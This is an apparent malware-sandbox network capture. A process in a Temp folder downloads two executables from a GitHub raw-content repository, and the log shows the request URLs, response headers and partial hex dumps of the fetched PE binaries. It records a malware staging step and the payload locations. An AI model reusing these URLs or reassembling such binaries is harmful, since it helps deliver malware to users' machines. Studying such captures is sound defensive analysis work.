
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49889	185.199.109.133	443	1592	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:28 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 15:10:28 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 147968 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "3e9c4b1e9cdeb98d530cbedabe09c3091bd9f712d1fef28624dd688e9d17d2e1" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 9324:1A2CEF:68B519:753721:67643764 Accept-Ranges: bytes Date: Thu, 19 Dec 2024 15:10:28 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740053-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734621028.366337,VS0,VE97 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6bfa43074ce135a3ed1e961dc443dd1d23d066b5 Expires: Thu, 19 Dec 2024 15:15:28 GMT Source-Age: 0
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 a3 98 61 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 de 01 00 00 60 00 00 00 00 00 00 c0 85 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 23 00 00 04 00 00 00 00 00 00 02 00 00 82 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 17 02 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELag`@#(
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: ff 15 98 19 42 00 cc cc cc cc cc cc cc cc 55 89 e5 50 c7 45 fc 00 00 00 00 64 a1 30 00 00 00 51 8b 48 02 89 4d fc 59 83 c4 04 5d c3 cc cc 31 c0 64 f7 05 30 00 00 00 68 00 00 00 0f 95 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 74 24 14 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 2d 20 1a 42 00 89 fb 0f 1f 40 00 8b 1b 39 fb 74 0a 56 ff 73 28 ff d5 85 c0 75 f0 39 fb 0f 95 c0 5e 5f 5b 5d c2 04 00 cc cc cc cc 53 57 56 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 35 20 1a 42 00 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 2a 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 2f 01 00 00 64 a1 30 00 00 00 8b 78 0c 83 c7 14 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 d4 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 ff 00 00 00 64 a1 30 00 00 00 8b 78 Data Ascii: BUPEd0QHMY]1d0hUSWVt$d0x- B@9tVs(u9^_[]SWVd0x5 Bf9th*Bs(u/d0xf9thBs(ud0x
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: e8 67 eb 00 00 8b 3d fc 4f 63 00 8d 75 c4 89 f1 e8 57 ee 00 00 50 ff d7 89 f1 e8 fd ed 00 00 8d 7d dc 89 f9 e8 f3 ed 00 00 89 f1 e8 3c eb 00 00 89 f9 e8 35 eb 00 00 8d 5d 08 8d 4b 2c e8 2a eb 00 00 8d 4b 18 e8 22 eb 00 00 8d 4b 0c e8 1a eb 00 00 89 d9 e8 13 eb 00 00 8d 65 f4 5e 5f 5b 5d c2 68 00 cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 48 03 00 00 8d 5d 08 8d 4d 94 68 0a 15 42 00 e8 74 ea 00 00 8d 8d 6c ff ff ff 68 0a 15 42 00 e8 64 ea 00 00 8b 85 98 00 00 00 83 f8 02 74 13 83 f8 01 74 18 85 c0 75 4d 8d b5 ec fd ff ff 6a 1c eb 12 8d b5 ec fd ff ff 6a 28 eb 08 8d b5 ec fd ff ff 6a 1a 56 e8 be fd 00 00 8d bd ac fc ff ff 8d 5d 94 89 d9 56 57 e8 3c eb 00 00 89 d9 57 e8 e4 ea 00 00 89 f9 e8 7d ea 00 00 89 f1 8d 5d 08 e8 73 ea 00 00 8d 75 20 83 7b 24 Data Ascii: g=OcuWP}<5]K,*K"Ke^_[]hUSWVH]MhBtlhBdttuMjj(jV]VW<W}]su {$
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 00 00 89 f9 e8 01 e6 00 00 8d 85 ec fd ff ff 50 ff 75 ec ff 15 00 50 63 00 85 c0 8d 5d c8 0f 84 b6 fc ff ff 89 d9 68 be 0b 42 00 56 e8 e9 e6 00 00 89 f1 8d 85 18 fe ff ff 50 8d 7d e0 57 e8 d7 e6 00 00 8d 5d a0 89 d9 57 e8 1c e6 00 00 89 f9 e8 b5 e5 00 00 89 f1 e8 ae e5 00 00 89 e6 83 ec 0c 89 e1 53 e8 71 e5 00 00 e8 8c f8 00 00 89 f4 8d 75 d4 85 c0 74 92 89 f9 68 0a 15 42 00 e8 17 e5 00 00 89 f9 68 f9 00 42 00 8d bd 60 ff ff ff 57 e8 84 e6 00 00 89 f9 68 be 0b 42 00 8d bd 78 ff ff ff 57 e8 71 e6 00 00 89 f9 8d 45 14 50 8d 5d b8 53 e8 02 e6 00 00 89 d9 68 be 0b 42 00 56 e8 55 e6 00 00 8d 7d e0 89 f9 56 e8 9a e5 00 00 89 f1 e8 33 e5 00 00 89 d9 e8 2c e5 00 00 8d 8d 78 ff ff ff e8 21 e5 00 00 8d 8d 60 ff ff ff e8 16 e5 00 00 89 f9 8d 85 18 fe ff ff 50 56 e8 Data Ascii: PuPc]hBVP}W]WSquthBhB`WhBxWqEP]ShBVU}V3,x!`PV
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 7d c8 89 f9 e8 9f e3 00 00 50 ff d6 89 f9 e8 45 e3 00 00 8d b5 ec fd ff ff 89 f1 e8 38 e3 00 00 6a 04 8d 45 e0 50 e8 9d f0 00 00 89 f9 e8 76 e0 00 00 89 f1 e9 4a f7 ff ff ff 75 90 ff 15 08 50 63 00 8d 4d 94 e8 0e e3 00 00 8d 8d 6c ff ff ff e8 03 e3 00 00 eb 13 8d 4d c8 e8 49 e0 00 00 8d 4d a0 e8 41 e0 00 00 8d 75 08 8d 8d 6c ff ff ff e8 33 e0 00 00 8d 4d 94 e8 2b e0 00 00 89 f1 e8 24 e0 00 00 8d 4d 14 e8 1c e0 00 00 8d 4d 20 e8 14 e0 00 00 8d 4e 54 e8 0c e0 00 00 8d 4e 40 e8 04 e0 00 00 83 c6 34 89 f1 e8 fa df 00 00 8d 4d 30 e8 f2 df 00 00 8d 65 f4 5e 5f 5b 5d c2 94 00 e8 ad ca 01 00 cc cc cc 55 89 e5 53 57 56 83 ec 1c 83 bd 80 00 00 00 00 0f 84 fd 00 00 00 8d 45 08 8d 48 0c 89 4d d8 8d 48 18 89 4d dc 8d 48 2c 89 4d e0 83 c0 38 89 45 e4 31 f6 31 db 66 66 Data Ascii: }PE8jEPvJuPcMlMIMAul3M+$MM NTN@4M0e^_[]USWVEHMHMH,M8E11ff
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 50 08 c7 02 01 00 00 00 89 15 dc 46 42 00 83 c0 10 eb 02 31 c0 5e 5f c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 44 24 08 85 c0 74 6a 8d 48 f0 c7 40 f0 01 00 00 00 8b 50 f8 85 d2 74 29 83 3a 00 74 24 39 15 dc 46 42 00 75 06 89 0d dc 46 42 00 8b 72 04 01 70 f4 8b 72 08 89 70 f8 8b 52 08 85 d2 74 03 89 4a 0c 8b 50 fc 85 d2 74 29 83 3a 00 74 24 39 0d dc 46 42 00 75 06 89 15 dc 46 42 00 8b 48 f4 01 4a 04 8b 48 f8 89 4a 08 8b 40 f8 85 c0 74 03 89 50 0c 5e c2 04 00 cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 5c 24 14 c6 03 00 c6 43 01 00 c6 43 02 00 c6 43 03 00 c6 43 04 00 c6 43 05 00 c6 43 06 00 c6 43 07 00 c6 43 08 00 c6 43 09 00 c6 43 0a 00 c6 43 0b 00 c6 43 0c 00 c6 43 0d 00 c6 43 0e 00 c6 43 0f 00 c6 43 10 00 c6 43 11 00 c6 43 12 00 c6 43 13 00 c6 43 Data Ascii: PFB1^_VD$tjH@Pt):t$9FBuFBrprpRtJPt):t$9FBuFBHJHJ@tP^USWV\$CCCCCCCCCCCCCCCCCCCC
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 4d d8 8d 7d a8 e8 da d5 00 00 0f b7 85 60 ff ff ff 8b 8d 58 ff ff ff 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 34 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 8b 4d ec 85 c0 0f 84 6c 03 00 00 89 c6 89 5d c4 31 c0 85 c9 0f 94 c0 c1 e0 17 0d 00 01 40 00 6a 00 50 6a 00 6a 00 68 53 10 42 00 ff b5 74 ff ff ff 68 f2 0b 42 00 56 89 cb ff 15 58 51 63 00 89 45 f0 85 c0 0f 84 23 03 00 00 89 75 c8 85 db 8d b5 78 f7 ff ff 75 18 c7 85 78 f7 ff ff ff ff ff ff 6a 04 56 6a 1f ff 75 f0 ff 15 68 51 63 00 8d 7d 90 89 f9 68 73 11 42 00 56 e8 36 d6 00 00 89 f9 56 e8 7e d5 00 00 89 f1 e8 17 d5 00 00 89 f9 8d 5d cc 53 56 e8 bb d5 00 00 89 f9 56 e8 63 d5 00 00 89 f1 e8 fc d4 00 00 89 f9 68 05 15 42 00 56 e8 ff d5 00 00 89 f9 56 e8 47 d5 00 00 89 f1 Data Ascii: M}`X (AD$D$L$4$D$HQcMl]1@jPjjhSBthBVXQcE#uxuxjVjuhQc}hsBV6V~]SVVchBVVG
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: fe ff ff 6a 14 56 e8 f7 e1 00 00 8d 9d 6c f6 ff ff 89 f9 56 53 e8 18 d1 00 00 89 f9 53 e8 c0 d0 00 00 89 d9 e8 59 d0 00 00 89 f1 e8 52 d0 00 00 8d bd 78 ff ff ff 8d 4d c8 68 71 11 42 00 57 e8 4e d1 00 00 89 f9 8d 45 a0 50 56 e8 e2 d0 00 00 89 f1 68 dd 14 42 00 53 e8 35 d1 00 00 8d 4d c8 53 e8 7c d0 00 00 89 d9 e8 15 d0 00 00 89 f1 e8 0e d0 00 00 89 f9 e8 07 d0 00 00 8d 7d 90 89 f9 68 40 11 42 00 56 e8 07 d1 00 00 89 f1 8d 45 a0 50 53 e8 9b d0 00 00 89 f9 53 e8 43 d0 00 00 89 d9 8d 5d 08 e8 d9 cf 00 00 89 f1 e8 d2 cf 00 00 0f b7 85 54 ff ff ff 8b 8d 4c ff ff ff 8b 53 04 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 14 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 85 c0 0f 84 ce 05 00 00 89 c6 31 c0 8b 7d ec 85 ff 0f 94 c0 c1 e0 17 Data Ascii: jVlVSSYRxMhqBWNEPVhBS5MS\|}h@BVEPSSC]TLS (AD$D$L$$D$HQc1}
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 31 f6 8b 45 e8 89 45 b4 0f 1f 84 00 00 00 00 00 a1 54 51 63 00 89 45 ec 8b 3d 2c 50 63 00 8d 5d 90 89 d9 e8 f8 cd 00 00 50 ff d7 89 c7 89 d9 e8 ec cd 00 00 ff 75 b0 ff 75 b4 57 50 ff 75 f0 ff 55 ec 85 c0 75 2a 89 c7 68 b8 0b 00 00 ff 15 fc 19 42 00 81 fe 7d 96 98 00 77 05 46 85 ff 74 b0 8d 45 e8 6a 04 50 e8 d5 da 00 00 e9 30 01 00 00 8d 45 e8 6a 04 50 e8 c5 da 00 00 c7 45 ac 00 01 00 00 8d 45 ac 6a 00 50 8d b5 3c fe ff ff 56 6a 13 ff 75 f0 ff 15 64 51 63 00 85 c0 0f 84 fe 00 00 00 56 e8 68 da 00 00 3d c8 00 00 00 0f 85 ed 00 00 00 8d 45 dc 50 68 cf 07 00 00 8d 9d 6c f6 ff ff 53 ff 75 f0 ff 15 5c 51 63 00 85 c0 74 54 8b 45 dc 85 c0 74 4d 8d 75 84 66 0f 1f 44 00 00 c6 84 05 6c f6 ff ff 00 89 f1 53 8d bd 78 ff ff ff 57 e8 39 cb 00 00 89 f1 57 e8 81 ca 00 00 Data Ascii: 1EETQcE=,Pc]PuuWPuUu*hB}wFtEjP0EjPEEjP<VjudQcVh=EPhlSu\QctTEtMufDlSxW9W
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 89 f1 57 e8 16 c6 00 00 89 f9 e8 af c5 00 00 89 f1 8d 45 b8 50 57 e8 53 c6 00 00 89 f1 57 e8 fb c5 00 00 89 f9 e8 94 c5 00 00 89 f1 68 05 15 42 00 57 e8 97 c6 00 00 89 f1 57 e8 df c5 00 00 89 f9 e8 78 c5 00 00 89 f1 68 09 13 42 00 57 e8 7b c6 00 00 89 f1 57 e8 c3 c5 00 00 89 f9 e8 5c c5 00 00 89 f1 68 8c 09 42 00 57 e8 5f c6 00 00 89 f1 57 e8 a7 c5 00 00 89 f9 e8 40 c5 00 00 89 f1 68 02 15 42 00 57 e8 43 c6 00 00 89 f1 57 e8 8b c5 00 00 89 f9 e8 24 c5 00 00 e8 7f d6 ff ff 89 f1 50 57 e8 26 c6 00 00 89 f1 57 e8 6e c5 00 00 89 f9 e8 07 c5 00 00 89 f1 68 05 15 42 00 57 e8 0a c6 00 00 89 f1 57 e8 52 c5 00 00 89 f9 e8 eb c4 00 00 89 f1 68 73 11 42 00 57 e8 ee c5 00 00 89 f1 57 e8 36 c5 00 00 89 f9 e8 cf c4 00 00 89 f1 8d 45 b8 50 57 e8 73 c5 00 00 89 f1 57 e8 Data Ascii: WEPWSWhBWWxhBW{W\hBW_W@hBWCW$PW&WnhBWWRhsBWW6EPWsW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49888	185.199.109.133	443	1592	C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:10:28 UTC	122	OUT	GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 15:10:28 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1058336 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "02fab045ea6ba15dc6f39ffbdce0ff0b102325b06457bc1e31975f96b1a69b43" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2228:3C90CB:642F60:70B156:67643764 Accept-Ranges: bytes Date: Thu, 19 Dec 2024 15:10:28 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740053-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734621028.366647,VS0,VE88 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 1084517633bac5c742eaf731db74e3a37c6bcebd Expires: Thu, 19 Dec 2024 15:15:28 GMT Source-Age: 0
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 a5 6d d7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 8a 0e 00 00 28 01 00 00 00 00 00 9e a8 0e 00 00 20 00 00 00 c0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 10 00 00 02 00 00 c5 c5 10 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELwm"0( @ `
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 00 00 02 00 00 11 14 72 01 00 00 70 1f 0b 8d 16 00 00 01 25 16 02 7b 38 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b 39 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b 3a 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b 3b 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b 3c 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b 3d 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b Data Ascii: rp%{8%q-&+oe%{9%q-&+oe%{:%q-&+oe%{;%q-&+oe%{<%q-&+oe%{=%q-&+
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 00 00 0a 6f 59 00 00 0a 39 aa 00 00 00 28 7b 00 00 0a 02 7b 74 00 00 0a 06 7b 74 00 00 0a 6f 7c 00 00 0a 39 8f 00 00 00 28 7d 00 00 0a 02 7b 75 00 00 0a 06 7b 75 00 00 0a 6f 7e 00 00 0a 2c 77 28 7f 00 00 0a 02 7b 76 00 00 0a 06 7b 76 00 00 0a 6f 80 00 00 0a 2c 5f 28 81 00 00 0a 02 7b 77 00 00 0a 06 7b 77 00 00 0a 6f 82 00 00 0a 2c 47 28 83 00 00 0a 02 7b 78 00 00 0a 06 7b 78 00 00 0a 6f 84 00 00 0a 2c 2f 28 85 00 00 0a 02 7b 79 00 00 0a 06 7b 79 00 00 0a 6f 86 00 00 0a 2c 17 28 87 00 00 0a 02 7b 7a 00 00 0a 06 7b 7a 00 00 0a 6f 88 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 a4 01 00 00 00 00 00 00 20 62 1c ce af 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b 69 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b 6a 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 Data Ascii: oY9({{t{to\|9(}{u{uo~,w({v{vo,_({w{wo,G({x{xo,/({y{yo,({z{zo***0 b )UUZ(D{ioZX )UUZ(F{jo[X )UU
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 2d 00 00 1b 6f 65 00 00 0a a2 28 66 00 00 0a 2a 1e 02 7b 90 00 00 0a 2a 1e 02 7b 91 00 00 0a 2a 1e 02 7b 92 00 00 0a 2a 1e 02 7b 93 00 00 0a 2a 1e 02 7b 94 00 00 0a 2a 1e 02 7b 95 00 00 0a 2a 1e 02 7b 96 00 00 0a 2a 1e 02 7b 97 00 00 0a 2a 1e 02 7b 98 00 00 0a 2a 1e 02 7b 99 00 00 0a 2a 1e 02 7b 9a 00 00 0a 2a 1e 02 7b 9b 00 00 0a 2a 1e 02 7b 9c 00 00 0a 2a 1e 02 7b 9d 00 00 0a 2a 1e 02 7b 9e 00 00 0a 2a 1e 02 7b 9f 00 00 0a 2a 00 00 13 30 02 00 84 00 00 00 00 00 00 00 02 28 43 00 00 0a 02 03 7d 90 00 00 0a 02 04 7d 91 00 00 0a 02 05 7d 92 00 00 0a 02 0e 04 7d 93 00 00 0a 02 0e 05 7d 94 00 00 0a 02 0e 06 7d 95 00 00 0a 02 0e 07 7d 96 00 00 0a 02 0e 08 7d 97 00 00 0a 02 0e 09 7d 98 00 00 0a 02 0e 0a 7d 99 00 00 0a 02 0e 0b 7d 9a 00 00 0a 02 0e 0c 7d 9b 00 Data Ascii: -oe(f{{{{{{{{{{{{{{{{*0(C}}}}}}}}}}}}
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b 96 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b 97 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b 98 00 00 0a 13 08 12 08 25 71 1b 00 00 1b 8c 1b 00 00 1b 2d 04 26 14 2b 0b fe 16 1b 00 00 1b 6f 65 00 00 0a a2 25 1f 09 02 7b 99 00 00 0a 13 09 12 09 25 71 1c 00 00 1b 8c 1c 00 00 1b 2d 04 26 14 2b 0b fe 16 1c 00 00 1b 6f 65 00 00 0a a2 25 1f 0a 02 7b 9a 00 00 0a 13 0a 12 0a 25 71 1d 00 00 1b 8c 1d 00 00 1b 2d 04 26 14 2b 0b fe 16 1d 00 00 1b 6f 65 00 00 0a a2 25 1f 0b 02 7b 9b 00 00 0a 13 0b 12 0b 25 71 27 00 00 1b 8c 27 00 00 1b 2d 04 26 14 2b Data Ascii: -&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q''-&+
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 58 00 00 0a 02 7b aa 00 00 0a 6f 64 00 00 0a 58 20 29 55 55 a5 5a 28 7b 00 00 0a 02 7b ab 00 00 0a 6f 89 00 00 0a 58 20 29 55 55 a5 5a 28 7d 00 00 0a 02 7b ac 00 00 0a 6f 8a 00 00 0a 58 20 29 55 55 a5 5a 28 7f 00 00 0a 02 7b ad 00 00 0a 6f 8b 00 00 0a 58 20 29 55 55 a5 5a 28 81 00 00 0a 02 7b ae 00 00 0a 6f 8c 00 00 0a 58 2a 00 13 30 07 00 7c 02 00 00 0a 00 00 11 14 72 f8 06 00 70 1f 0f 8d 16 00 00 01 25 16 02 7b a0 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b a1 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b a2 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 Data Ascii: X{odX )UUZ({{oX )UUZ(}{oX )UUZ({oX )UUZ({oX*0\|rp%{%q-&+oe%{%q-&+oe%{%q-&+oe
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 7b bc 00 00 0a 6f 80 00 00 0a 2a 16 2a 17 2a 00 13 30 03 00 48 01 00 00 00 00 00 00 20 60 2d a1 83 20 29 55 55 a5 5a 28 44 00 00 0a 02 7b af 00 00 0a 6f 5a 00 00 0a 58 20 29 55 55 a5 5a 28 46 00 00 0a 02 7b b0 00 00 0a 6f 5b 00 00 0a 58 20 29 55 55 a5 5a 28 48 00 00 0a 02 7b b1 00 00 0a 6f 5c 00 00 0a 58 20 29 55 55 a5 5a 28 4a 00 00 0a 02 7b b2 00 00 0a 6f 5d 00 00 0a 58 20 29 55 55 a5 5a 28 4c 00 00 0a 02 7b b3 00 00 0a 6f 5e 00 00 0a 58 20 29 55 55 a5 5a 28 4e 00 00 0a 02 7b b4 00 00 0a 6f 5f 00 00 0a 58 20 29 55 55 a5 5a 28 50 00 00 0a 02 7b b5 00 00 0a 6f 60 00 00 0a 58 20 29 55 55 a5 5a 28 52 00 00 0a 02 7b b6 00 00 0a 6f 61 00 00 0a 58 20 29 55 55 a5 5a 28 54 00 00 0a 02 7b b7 00 00 0a 6f 62 00 00 0a 58 20 29 55 55 a5 5a 28 56 00 00 0a 02 7b b8 00 Data Ascii: {o***0H `- )UUZ(D{oZX )UUZ(F{o[X )UUZ(H{o\X )UUZ(J{o]X )UUZ(L{o^X )UUZ(N{o_X )UUZ(P{o`X )UUZ(R{oaX )UUZ(T{obX )UUZ(V{
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 55 55 a5 5a 28 4e 00 00 0a 02 7b c2 00 00 0a 6f 5f 00 00 0a 58 2a 13 30 07 00 04 01 00 00 0e 00 00 11 14 72 42 0b 00 70 1c 8d 16 00 00 01 25 16 02 7b bd 00 00 0a 0a 12 00 25 71 13 00 00 1b 8c 13 00 00 1b 2d 04 26 14 2b 0b fe 16 13 00 00 1b 6f 65 00 00 0a a2 25 17 02 7b be 00 00 0a 0b 12 01 25 71 14 00 00 1b 8c 14 00 00 1b 2d 04 26 14 2b 0b fe 16 14 00 00 1b 6f 65 00 00 0a a2 25 18 02 7b bf 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c0 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c1 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c2 00 00 0a Data Ascii: UUZ(N{o_X*0rBp%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{
2024-12-19 15:10:28 UTC	1378	IN	Data Raw: 7b c5 00 00 0a 0c 12 02 25 71 15 00 00 1b 8c 15 00 00 1b 2d 04 26 14 2b 0b fe 16 15 00 00 1b 6f 65 00 00 0a a2 25 19 02 7b c6 00 00 0a 0d 12 03 25 71 16 00 00 1b 8c 16 00 00 1b 2d 04 26 14 2b 0b fe 16 16 00 00 1b 6f 65 00 00 0a a2 25 1a 02 7b c7 00 00 0a 13 04 12 04 25 71 17 00 00 1b 8c 17 00 00 1b 2d 04 26 14 2b 0b fe 16 17 00 00 1b 6f 65 00 00 0a a2 25 1b 02 7b c8 00 00 0a 13 05 12 05 25 71 18 00 00 1b 8c 18 00 00 1b 2d 04 26 14 2b 0b fe 16 18 00 00 1b 6f 65 00 00 0a a2 25 1c 02 7b c9 00 00 0a 13 06 12 06 25 71 19 00 00 1b 8c 19 00 00 1b 2d 04 26 14 2b 0b fe 16 19 00 00 1b 6f 65 00 00 0a a2 25 1d 02 7b ca 00 00 0a 13 07 12 07 25 71 1a 00 00 1b 8c 1a 00 00 1b 2d 04 26 14 2b 0b fe 16 1a 00 00 1b 6f 65 00 00 0a a2 25 1e 02 7b cb 00 00 0a 13 08 12 08 25 71 Data Ascii: {%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q-&+oe%{%q
